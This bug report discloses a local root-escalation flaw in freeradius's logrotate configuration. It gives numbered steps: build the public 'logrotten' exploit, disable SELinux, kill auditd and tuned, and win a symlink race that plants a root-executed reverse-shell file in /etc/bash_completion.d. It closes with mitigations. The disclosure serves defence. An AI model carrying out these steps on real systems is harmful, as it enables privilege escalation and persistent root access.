Description of problem:

freeradius ships with a logrotate-configuration that includes the following lines:

/var/log/radius/radacct/*/detail {
        monthly
        rotate 4
        nocreate
        missingok
        compress
}
User radiusd is allowed to modify the logdirectory /var/log/radius/radacct/:
drwx------. 3 radiusd radiusd 4096 26. Apr 16:01 /var/log/radius/radacct/

User radiusd could create the file /var/log/radius/radacct/logdir/file.log.

Due to logrotate is prone to a race-condition(see https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition) it is possible for user "radiusd" to replace the
directory /var/log/radius/radacct/logdir with a symbolik link to any directory(for example /etc/bash_completion.d). logrotate will place the compressed files AS ROOT into /etc/bash_completition.d and set the owner and group to "radiusd.radiusd". An attacker could simply place a reverse-shell into this file. As soon as root logs in, a reverse
shell will be executed then. A sample exploit can be found on github https://github.com/whotwagner/logrotten
(Note that this exploit doesn't work well in docker-containers or lvm2 volumes)

Default installations might not be affected by this problem because SElinux should prevent logrotate from creating files in /etc.


Version-Release number of selected component (if applicable):

Name       : freeradius
Architektur : x86_64
Version    : 3.0.13
Ausgabe    : 9.el7_5

How reproducible:

The following steps don't work on lvm2-volumes or container(overlayfs):

1. yum install freeradiusd
2. <disable SELINUX and reboot>
3. yum install git gcc
4. sudo -u radiusd bash
5. cd /tmp
6. git clone https://github.com/whotwagner/logrotten /tmp/logrotten
7. cd /tmp/logrotten
8. gcc -o logrotten logrotten.c
9. killall auditd # makes the exploit more reliable
10. killall tuned # makes the exploit more reliable
11. mkdir -p /var/log/radius/radacct/logdir
12. touch /var/log/radius/radacct/logdir/detail
# run as user radiusd the exploit
13a. ./logrotten -c /var/log/radius/radacct/logdir/detail.1
# if you don't want to wait until next day, run logrotate manually as root:
13b. logrotate -f /etc/logrotate.d/radiusd


Actual results:

this should create the file /etc/bash_completion.d/detail.1.gz

user radiusd could place a reverse-shell into this file and gets a connection as soon as root logs in.

Expected results:

logrotate should not create the file /etc/bash_completion.d/detail.1.gz


Additional info:

You could mitigate the problem by changing the owner and group of
/var/log/radius/radacct/ to root or by using the "su"-directive in logrotate.